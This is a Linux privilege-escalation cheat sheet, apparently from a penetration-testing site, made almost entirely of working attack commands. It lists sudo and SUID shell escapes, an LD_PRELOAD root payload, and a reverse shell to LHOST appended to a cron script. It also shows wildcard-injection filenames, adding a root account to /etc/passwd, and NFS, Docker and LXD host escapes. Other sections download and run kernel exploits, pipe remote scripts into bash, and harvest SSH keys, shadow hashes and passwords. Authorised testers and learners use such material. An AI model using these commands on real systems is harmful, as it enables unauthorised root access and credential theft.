← Back to Cheat Sheets
kavklaw@llm ~ /cheatsheets/linux-privesc

kavklaw@llm $ cat linux-privesc-checklist.md

Linux PrivEsc Checklist

Systematic privilege escalation — check these in order, escalate to root.

⚡ Quick Wins

Check these first — they're the most common privesc vectors.

Sudo

# What can I run as root?
sudo -l

# Check GTFOBins for any allowed binary:
# https://gtfobins.github.io/

# Common sudo exploits:
sudo vim -c '!bash'
sudo find / -exec /bin/bash \; -quit
sudo awk 'BEGIN {system("/bin/bash")}'
sudo env /bin/bash
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo less /etc/shadow   # then type !bash
sudo nano               # Ctrl+R, Ctrl+X, then: reset; bash 1>&0 2>&0
sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo zip /tmp/x.zip /etc/hosts -T --unzip-command="sh -c /bin/bash"
sudo git -p help config  # then type !/bin/bash
sudo ftp                 # then type !/bin/bash
sudo nmap --interactive  # then !sh (old nmap)
sudo nmap --script=<(echo 'os.execute("/bin/bash")')

# LD_PRELOAD (if env_keep has LD_PRELOAD)
# Compile: gcc -fPIC -shared -o /tmp/pe.so /tmp/pe.c -nostartfiles
# pe.c: void _init() { setuid(0); system("/bin/bash"); }
sudo LD_PRELOAD=/tmp/pe.so <allowed_program>

# Sudo version < 1.8.28 (CVE-2019-14287)
sudo -u#-1 /bin/bash

SUID / SGID Binaries

# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null

# Find both
find / -perm -4000 -o -perm -2000 -type f 2>/dev/null

# Check GTFOBins for any unusual SUID binary
# Common SUID exploits:
/usr/bin/find . -exec /bin/bash -p \;
/usr/bin/vim.basic -c ':py3 import os; os.execl("/bin/bash","bash","-p")'
/usr/bin/bash -p
/usr/bin/python3 -c 'import os; os.execl("/bin/bash","bash","-p")'
/usr/bin/env /bin/bash -p

# Custom SUID binary? Check with:
strings /path/to/suid_binary     # Look for relative paths
ltrace /path/to/suid_binary      # Trace library calls
strace /path/to/suid_binary      # Trace system calls

System Information

# Kernel version (search for exploits)
uname -a
cat /proc/version
cat /etc/os-release

# Architecture
uname -m
arch

# Hostname
hostname

# Environment variables
env
cat /etc/environment
cat /etc/profile
cat ~/.bashrc

# Running processes
ps aux
ps -ef

# Disk / mounted filesystems
df -h
mount
cat /etc/fstab

Users & Groups

# Current user info
id
whoami
groups

# All users
cat /etc/passwd
cat /etc/passwd | grep -v nologin | grep -v false

# Users with login shells
cat /etc/passwd | grep bash
cat /etc/passwd | grep sh$

# Shadow file (if readable!)
cat /etc/shadow

# Group memberships
cat /etc/group

# Interesting groups
# docker  → container escape
# lxd     → container escape
# adm     → read logs
# disk    → raw disk access
# video   → screen captures
# sudo    → obvious

# Logged in users
w
who
last -a

Network

# Network interfaces
ip addr show
ifconfig

# Routes
ip route
route -n

# Open ports / listening services
ss -tlnp
netstat -tlnp

# Internal services (bound to 127.0.0.1)
ss -tlnp | grep 127

# ARP cache (other hosts on network)
arp -a
ip neigh

# DNS
cat /etc/resolv.conf

# Firewall rules
iptables -L -n 2>/dev/null
cat /etc/iptables/rules.v4 2>/dev/null

Cron Jobs

# System cron
cat /etc/crontab
ls -la /etc/cron.*

# User crons
crontab -l
crontab -l -u root 2>/dev/null

# Cron files
ls -la /var/spool/cron/
ls -la /var/spool/cron/crontabs/

# Systemd timers
systemctl list-timers --all

# Watch for recurring processes (without root)
# Use pspy: https://github.com/DominicBreuker/pspy
./pspy64 -pf -i 1000

# If cron runs a script you can write to:
echo 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' >> /path/to/cron_script.sh

# If cron runs with wildcard (e.g., tar *)
# Create: --checkpoint=1 --checkpoint-action=exec=shell.sh
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"

File Permissions

# World-writable files
find / -writable -type f 2>/dev/null | grep -v proc

# World-writable directories
find / -writable -type d 2>/dev/null

# Files owned by current user
find / -user $(whoami) 2>/dev/null

# Recently modified files
find / -mmin -10 -type f 2>/dev/null

# Config files with passwords
grep -r "password" /etc/ 2>/dev/null
grep -r "pass" /var/www/ 2>/dev/null
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null

# SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
ls -la /home/*/.ssh/ 2>/dev/null
cat /home/*/.ssh/id_rsa 2>/dev/null

# Writable /etc/passwd (rare but instant root)
ls -la /etc/passwd
# If writable:
# Generate hash: openssl passwd -1 newpass
# Add: echo 'root2:$1$hash:0:0:root:/root:/bin/bash' >> /etc/passwd

# PATH hijacking
echo $PATH
# If writable dir is early in PATH, create a malicious binary
# with the name of a command run by root/cron

Capabilities

# List binaries with capabilities
getcap -r / 2>/dev/null

# Dangerous capabilities:
# cap_setuid          → change UID to root
# cap_setgid          → change GID
# cap_dac_override    → bypass file read/write permissions
# cap_dac_read_search → bypass file read permissions
# cap_net_raw         → raw sockets (packet sniffing)
# cap_sys_admin       → mount, namespace, etc.
# cap_sys_ptrace      → debug/inject into processes

# Python with cap_setuid
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl with cap_setuid
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

# cap_dac_read_search on any binary → read /etc/shadow
# cap_sys_admin → mount host filesystem in container

NFS

# Check for NFS exports
cat /etc/exports
showmount -e <target_ip>

# Look for no_root_squash (allows root files via NFS)
cat /etc/exports | grep no_root_squash

# Exploit no_root_squash:
# On attacker (as root):
mkdir /tmp/nfs
mount -t nfs <target_ip>:/share /tmp/nfs
cp /bin/bash /tmp/nfs/
chmod +s /tmp/nfs/bash

# On target:
/share/bash -p    # Root shell!

Docker / LXD

Docker Group

# Check if in docker group
id | grep docker

# Mount host filesystem
docker run -v /:/mnt --rm -it alpine chroot /mnt bash

# Alternative
docker run -v /:/mnt -it alpine sh

# Docker socket
ls -la /var/run/docker.sock
# If writable, use docker API or docker client to escape

LXD Group

# Check if in lxd group
id | grep lxd

# Import Alpine image
# On attacker: build lxd-alpine-builder
# Transfer .tar.gz to target

lxc image import ./alpine.tar.gz --alias myimage
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh

# Host filesystem at /mnt/root

Kernel Exploits

# Get kernel version
uname -r
cat /proc/version

# Search for exploits
searchsploit linux kernel <version>
# Or: https://github.com/lucyoa/kernel-exploits

# Notable kernel exploits:
# DirtyPipe     (CVE-2022-0847)  Linux 5.8 - 5.16.11
# DirtyCow      (CVE-2016-5195)  Linux 2.6.22 - 4.8.3
# PwnKit        (CVE-2021-4034)  Polkit pkexec (most distros)
# Baron Samedit (CVE-2021-3156)  sudo 1.8.2 - 1.8.31p2
# Dirty Sock    (CVE-2019-7304)  snapd < 2.37.1

# DirtyPipe
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
gcc exploit.c -o exploit
./exploit

# PwnKit (almost universal)
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit && ./PwnKit

Password Hunting

# History files
cat ~/.bash_history
cat ~/.zsh_history
cat /home/*/.bash_history 2>/dev/null

# Config files
cat /var/www/html/wp-config.php 2>/dev/null
cat /var/www/html/config.php 2>/dev/null
cat /var/www/html/.env 2>/dev/null
cat /opt/*/.env 2>/dev/null
cat /etc/mysql/my.cnf 2>/dev/null

# Grep for passwords
grep -rli "password\|passwd\|pass=" /etc/ 2>/dev/null
grep -rli "password\|passwd\|pass=" /home/ 2>/dev/null
grep -rli "password\|passwd\|pass=" /var/www/ 2>/dev/null
grep -rli "password\|passwd\|pass=" /opt/ 2>/dev/null

# Database files
find / -name "*.db" -o -name "*.sqlite" -o -name "*.sqlite3" 2>/dev/null

# Backup files
find / -name "*.bak" -o -name "*.old" -o -name "*.backup" 2>/dev/null

# Memory / process passwords
strings /dev/mem 2>/dev/null | grep -i pass
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i pass

# Try found passwords for root
su root
ssh root@localhost

Automated Tools

# LinPEAS (best all-in-one)
curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash
# Or transfer and run:
wget http://LHOST/linpeas.sh
chmod +x linpeas.sh && ./linpeas.sh

# LinEnum
wget http://LHOST/LinEnum.sh
chmod +x LinEnum.sh && ./LinEnum.sh -t

# linux-exploit-suggester
wget http://LHOST/les.sh
chmod +x les.sh && ./les.sh

# linux-smart-enumeration (lse)
curl -sL https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh | bash

# pspy (process monitor — find hidden cron jobs)
wget http://LHOST/pspy64
chmod +x pspy64 && ./pspy64 -pf -i 1000

# SUID3NUM (SUID binary analyzer)
wget http://LHOST/suid3num.py
python3 suid3num.py